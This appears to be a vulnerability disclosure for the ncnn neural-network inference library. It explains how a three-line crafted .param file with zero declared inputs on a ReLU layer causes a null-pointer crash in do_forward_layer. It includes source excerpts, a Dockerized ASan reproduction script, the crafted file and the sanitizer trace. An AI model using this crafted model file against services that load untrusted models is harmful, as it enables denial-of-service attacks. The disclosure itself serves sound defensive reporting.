Malformed Model Causes Inference Denial Of Service
Affected commit: 5e66f094bf7c597b4569cc014a8be84104748678
Sink: src/net.cpp:629 in NetPrivate::do_forward_layer
Sanitizer verdict: SEGV on unknown address 0x000000000000 (pc 0x5efea5385e82 bp 0x7ffd29f08c50 sp 0x7ffd29f07f40 T0)
Summary
A .param file alone is enough to crash an ncnn process during inference: a layer whose header declares zero bottom blobs but whose implementation is marked one_blob_only makes NetPrivate::do_forward_layer index an empty std::vector. The parameter parser resizes layer->bottoms to whatever count the file states and never compares it against the layer's actual input arity. The PoC feeds the file to benchncnn, which calls Net::load_param and then Extractor::extract; the same holds for any application that loads an untrusted .param and runs the graph. The confirmed impact is process termination, not code execution.
Detail
The untrusted field is the per-layer bottom_count in the .param header line, parsed at src/net.cpp:1396 and used verbatim to size the bottoms vector at line 1430. Layers declare their required arity separately, in their constructors: ReLU::ReLU() sets one_blob_only = true, meaning "exactly one input, exactly one output". The loader never reconciles the two, so a ReLU line claiming zero bottoms loads without complaint.
At execution time do_forward_layer branches on one_blob_only and reads bottoms[0] unconditionally. std::vector::operator[] performs no bounds check, so on an empty vector it computes data() + 0 where data() is null.
// src/net.cpp:1396
SCAN_VALUE("%d", bottom_count)
SCAN_VALUE("%d", top_count)
// src/net.cpp:1430
layer->bottoms.resize(bottom_count);
// src/net.cpp:625
int NetPrivate::do_forward_layer(const Layer* layer, std::vector<Mat>& blob_mats, const Option& opt) const
{
if (layer->one_blob_only)
{
int bottom_blob_index = layer->bottoms[0];
int top_blob_index = layer->tops[0];
The PoC .param is three lines: the magic 7767517, the counts 1 1, and ReLU relu 0 1 out. The 0 is bottom_count, so layer->bottoms is resized to zero elements while layer->tops receives the single blob out. benchncnn requests that blob, Extractor::extract calls forward_layer, and do_forward_layer reaches line 629 for the ReLU. Reading bottoms[0] from the empty vector dereferences address 0x0 and the process aborts.
Reproduce
Build and run (writes the Dockerfile, builds ncnn with ASan, runs the PoC)
mkdir -p ncnn-poc-malformed-model-causes-inference-denial-of-service && cd ncnn-poc-malformed-model-causes-inference-denial-of-service
cat > Dockerfile <<'DOCKERFILE'
FROM ubuntu:24.04
RUN apt-get update && apt-get install -y --no-install-recommends \
git ca-certificates g++ cmake make python3 python3-pip python3-numpy \
protobuf-compiler libprotobuf-dev \
&& pip3 install --no-cache-dir --break-system-packages onnx protobuf \
&& rm -rf /var/lib/apt/lists/*
RUN git clone --depth 1 https://github.com/Tencent/ncnn.git /ncnn
WORKDIR /ncnn
RUN cmake -S . -B build \
-DCMAKE_BUILD_TYPE=Debug \
-DCMAKE_C_FLAGS="-O0 -g -fsanitize=address" \
-DCMAKE_CXX_FLAGS="-O0 -g -fsanitize=address" \
-DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
-DNCNN_BUILD_TOOLS=ON -DNCNN_BUILD_EXAMPLES=ON -DNCNN_BUILD_BENCHMARK=ON \
-DNCNN_BUILD_TESTS=OFF -DNCNN_VULKAN=OFF -DNCNN_OPENMP=OFF \
&& cmake --build build -j"$(nproc)"
ENV ASAN_OPTIONS=detect_leaks=0
WORKDIR /poc
DOCKERFILE
cat > crafted.param <<'PARAM'
7767517
1 1
ReLU relu 0 1 out
PARAM
docker build -t ncnn-asan .
docker run --rm --network none -v "$PWD:/poc" ncnn-asan \
/ncnn/build/benchmark/benchncnn 1 1 0 0 0 param=crafted.param shape=1,1,1
AddressSanitizer output:
loop_count = 1
num_threads = 1
powersave = 0
gpu_device = 0
cooling_down = 0
AddressSanitizer:DEADLYSIGNAL
=================================================================
==1==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x6049243e2e82 bp 0x7ffe3b2be6c0 sp 0x7ffe3b2bd9b0 T0)
==1==The signal is caused by a READ memory access.
==1==Hint: address points to the zero page.
#0 0x6049243e2e82 in ncnn::NetPrivate::do_forward_layer(ncnn::Layer const*, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:629
#1 0x6049243dd4fb in ncnn::NetPrivate::forward_layer(int, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:167
#2 0x60492443d365 in ncnn::Extractor::extract(int, ncnn::Mat&, int) /ncnn/src/net.cpp:2939
#3 0x60492443c193 in ncnn::Extractor::extract(char const*, ncnn::Mat&, int) /ncnn/src/net.cpp:2841
#4 0x60492433984f in benchmark(char const*, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> > const&, ncnn::Option const&, char const*) /ncnn/benchmark/benchncnn.cpp:122
#5 0x604924341eb8 in main /ncnn/benchmark/benchncnn.cpp:376
#6 0x760639c9d1c9 (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#7 0x760639c9d28a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#8 0x6049243375c4 in _start (/ncnn/build/benchmark/benchncnn+0x2a05c4) (BuildId: a6c071b95ca7d23bb614b19f781e769f3f7d9429)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /ncnn/src/net.cpp:629 in ncnn::NetPrivate::do_forward_layer(ncnn::Layer const*, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const
==1==ABORTING
Credit
Zheng Yu @ DepthFirst